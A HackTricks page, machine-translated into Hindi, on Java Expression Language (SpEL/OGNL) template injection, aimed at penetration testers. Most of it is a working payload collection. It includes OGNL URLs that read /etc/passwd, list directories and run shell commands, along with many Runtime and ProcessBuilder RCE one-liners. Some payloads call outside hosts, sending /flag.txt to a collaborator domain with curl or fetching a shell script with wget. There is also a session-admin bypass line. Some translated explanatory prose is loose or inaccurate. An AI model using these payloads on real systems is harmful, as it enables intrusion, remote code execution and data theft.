hacktricks/pentesting-web/ssti-server-side-template-injection/el-expression-language.md
Translator workflow 75e8745ba3 Translated to Hindi
2023-11-06 08:38:02 +00:00

26 KiB
Raw Blame History

EL - व्याख्यान भाषा

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

मूलभूत जानकारी

EL एक महत्वपूर्ण तंत्र प्रदान करता है जो प्रस्तुति परत (वेब पृष्ठ) को अनुप्रयोग तार्किक (प्रबंधित बीन) के साथ संवाद करने की क्षमता प्रदान करने के लिए उपयोग किया जाता है।

इसका उपयोग कहां होता है?

  1. स्प्रिंग फ्रेमवर्क: सुरक्षा, डेटा, ...
  2. SpEL API द्वारा उपयोग करने वाले डेवलपर्स द्वारा इसका उपयोग किया जाता है
  3. इसका उपयोग जावा, कोटलिन, स्काला और अन्य JVM आधारित प्रौद्योगिकियों में किया जा सकता है।

EL का उपयोग कई JavaEE प्रौद्योगिकियों द्वारा किया जाता है, जैसे JavaServer Faces प्रौद्योगिकी, JavaServer Pages (JSP) प्रौद्योगिकी, और Java EE के लिए संदर्भ और आवश्यकता प्रवाहन का इंजेक्शन (CDI)। EL का उपयोग स्वतंत्र माहौलों में भी किया जा सकता है।

जावा अनुप्रयोगों को आसानी से पहचाना जा सकता है क्योंकि वे आमतौर पर .jsp या .jsf जैसी एक्सटेंशन का उपयोग करते हैं, स्टैक त्रुटियाँ फेंकते हैं और हैडर में "सर्वलेट" जैसे शब्द का उपयोग करते हैं।

{% hint style="info" %} EL संस्करण के आधार पर कुछ विशेषताएं सक्षम या अक्षम हो सकती हैं और आमतौर पर कुछ वर्ण अनुमति नहीं हो सकते हैं। {% endhint %}

मूल उदाहरण

(आप यहां https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/ में EL के बारे में एक और रोचक ट्यूटोरियल खोज सकते हैं)

Maven रेपोजिटरी से जार फ़ाइलें डाउनलोड करें:

  • commons-lang3-3.9.jar
  • spring-core-5.2.1.RELEASE.jar
  • commons-logging-1.2.jar
  • spring-expression-5.2.1.RELEASE.jar

और निम्नलिखित Main.java फ़ाइल बनाएं:

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
public static ExpressionParser PARSER;

public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();

System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}

अगले कदम में कोड को कंपाइल करें (यदि आपके पास javac स्थापित नहीं है, तो sudo apt install default-jdk स्थापित करें):

javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java

एप्लिकेशन को निम्न आदेश के साथ चलाएं:

java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]

ध्यान दें कि पिछले उदाहरण में शब्द {5*5} मूल्यांकन किया गया था।

CVE उदाहरण

आपने पहले से देख लिया है कि आपको पता है कि क्या आ रहा है। यदि डेवलपर्स SpEL का उपयोग उपयोगकर्ता इनपुट के साथ कर रहे हैं, तो हमें संक्रमण के साथ पेलोड बनाने की आवश्यकता होती है। चलो एक ऐसा चेक करें जो दूरस्थ कोड निष्पादन (RCE) की अनुमति देता है। यह CVE-20178046 के लिए उत्पन्न एक उत्पाद का हिस्सा था।

Image for post

इसमें 3 भाग हैं:

  • काले रंग - HTTP अनुरोध के आउटपुट स्ट्रीम में कमांड निष्पादन के परिणाम की प्रतिलिपि करें
  • लाल रंग - जावा रनटाइम प्राप्त करें और सिस्टम में कमांड निष्पादित करें
  • नीले रंग - कमांड को संग्रहित करने वाला स्ट्रिंग: cmd /c dir। इसे और मजबूत बनाने के लिए कमांड के व्यक्तिगत अक्षरों को संख्याओं से डिकोड किया जाता है।

इसे निष्पादित करने का परिणाम:

Image for post

पेलोड

मूल क्रियाएँ

#Basic string operations examples
{"a".toString()}
[a]

{"dfd".replace("d","x")}
[xfx]

#Access to the String class
{"".getClass()}
[class java.lang.String]

#Access ro the String class bypassing "getClass"
#{""["class"]}

#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]

#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]

पता लगाना

  • बर्प का पता लगाना
gk6q${“zkz”.toString().replace(“k”, “x”)}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
  • J2EE पता लगाना
#J2EEScan Detection vector (substitute the content of the response body with the content of the “INJPARAM” parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
  • सोना 10 सेकंड
#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}

रिमोट फ़ाइल सम्मिलन

Remote File Inclusion (रिमोट फ़ाइल सम्मिलन) एक सुरक्षा गड़बड़ी है जो वेब अनुप्रयोगों में पायी जा सकती है। इस तकनीक का उपयोग करके, हैकर एक दूसरे सर्वर पर स्थित फ़ाइलों को अनुप्रयोग में सम्मिलित कर सकते हैं। यह एक सुरक्षा खतरा पैदा कर सकता है क्योंकि इसके माध्यम से हैकर अनुप्रयोग को नुकसान पहुंचा सकते हैं और उसके लिए अनधिकृत एक्सेस प्राप्त कर सकते हैं।

यह तकनीक आमतौर पर वेब अनुप्रयोगों में उपयोग होने वाले सर्वर साइड टेम्पलेट इंजेक्शन (Server-Side Template Injection) के साथ जुड़ी होती है। इसमें एक हमलावर एक्सप्रेशन भाषा का उपयोग करता है, जैसे कि एल एक्सप्रेशन भाषा (EL Expression Language) जो जावा वेब अनुप्रयोगों में उपयोग होती है। एल एक्सप्रेशन भाषा के माध्यम से, हैकर वेब अनुप्रयोग के संदर्भ में वापसी करने के लिए एक रिमोट फ़ाइल का उपयोग कर सकता है।

इस तकनीक का उपयोग करके, हैकर एक अनुप्रयोग में एक रिमोट फ़ाइल को सम्मिलित कर सकता है और इसके परिणामस्वरूप उसे अनधिकृत एक्सेस प्राप्त कर सकता है। यह उन्हें अनुप्रयोग के संदर्भ में वापसी करने की अनुमति देता है और उन्हें अनुप्रयोग के साथ विभिन्न कार्रवाईयों को करने की अनुमति देता है, जैसे कि डेटाबेस तक पहुंच, फ़ाइल सिस्टम तक पहुंच, और अन्य संबंधित कार्रवाइयों को करने की अनुमति।

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd

निर्देशिका सूची

एक निर्देशिका सूची वेब सर्वर पर उपलब्ध फ़ाइलों और निर्देशिकाओं की सूची होती है। यह जानने के लिए महत्वपूर्ण हो सकता है कि किसी वेब साइट पर कौन-कौन सी फ़ाइलें और निर्देशिकाएं हैं और इनका उपयोग कैसे किया जा सकता है। निर्देशिका सूची के माध्यम से, हैकर वेब साइट की संरचना और विशेषताओं को समझ सकता है और संभावित गड़बड़ी की खोज कर सकता है।

एक निर्देशिका सूची को प्राप्त करने के लिए, हैकर वेब सर्वर के रिसोर्स पथ के साथ एक HTTP GET अनुरोध भेजता है। वेब सर्वर उस अनुरोध का प्रसंस्करण करता है और उपयुक्त निर्देशिका और फ़ाइलों की सूची को उत्पन्न करता है। यह सूची उत्पन्न करने के लिए वेब सर्वर द्वारा उपयोग की जाने वाली विशेष तकनीकों पर निर्भर करती है।

निर्देशिका सूची एक महत्वपूर्ण जानकारी स्रोत हो सकती है जो हैकर को वेब साइट के विभिन्न हिस्सों और संरचनाओं के बारे में जानकारी प्रदान कर सकती है। इसके अलावा, निर्देशिका सूची द्वारा उपलब्ध फ़ाइलों और निर्देशिकाओं के बारे में जानकारी हैकर को वेब साइट के सुरक्षा की कमजोरियों को खोजने में मदद कर सकती है।

https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..

RCE

  • मूलभूत RCE व्याख्या
#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]

#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]

#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}

# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
  • RCE लिनक्स
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
  • RCE Windows (टेस्ट नहीं किया गया)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
  • अधिक RCE
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

// Method using Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");

//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')

पर्यावरण की जांच करना

  • applicationScope - वैश्विक अनुप्रयोग चरों
  • requestScope - अनुरोध चरों
  • initParam - अनुप्रयोग प्रारंभीकरण चरों
  • sessionScope - सत्र चरों
  • param.X - X एक HTTP पैरामीटर का नाम है जहां X पैरामीटर मान है

आपको इन चरों को स्ट्रिंग में कास्ट करने की आवश्यकता होगी, जैसे:

${sessionScope.toString()}

अधिकृतता बाइपास का उदाहरण

${7*7}

इस उदाहरण में, हम एक अधिकृतता बाइपास तकनीक का उपयोग करके एक अद्यतित एक्सप्रेशन भेजते हैं। यहां, हम ${7*7} एक्सप्रेशन का उपयोग कर रहे हैं जो एक सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) हो सकता है। जब यह एक्सप्रेशन सर्वर पर निष्पादित होता है, तो यह 49 के बराबर हो जाता है। इस तरह, हम अधिकृतता की जरूरत के बिना एक एक्सप्रेशन को सफलतापूर्वक निष्पादित करते हैं।

${pageContext.request.getSession().setAttribute("admin", true)}

एप्लिकेशन अनुकूलन भी कस्टम चरों का उपयोग कर सकता है जैसे:

${user}
${password}
${employee.FirstName}

WAF बाईपास

https://h1pmnh.github.io/post/writeup_spring_el_waf_bypass/ की जांच करें

संदर्भ

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
  • क्या आप किसी साइबर सुरक्षा कंपनी में काम करते हैं? क्या आप अपनी कंपनी को HackTricks में विज्ञापित देखना चाहते हैं? या क्या आपको PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग करने की इच्छा है? सदस्यता योजनाएं की जांच करें!
  • The PEASS Family की खोज करें, हमारे विशेष NFTs का संग्रह
  • आधिकारिक PEASS & HackTricks swag प्राप्त करें
  • 💬 Discord समूह या telegram समूह में शामिल हों या मुझे Twitter 🐦@carlospolopm** का** अनुसरण करें।
  • अपने हैकिंग ट्रिक्स को hacktricks repo और hacktricks-cloud repo में PR जमा करके अपना योगदान दें।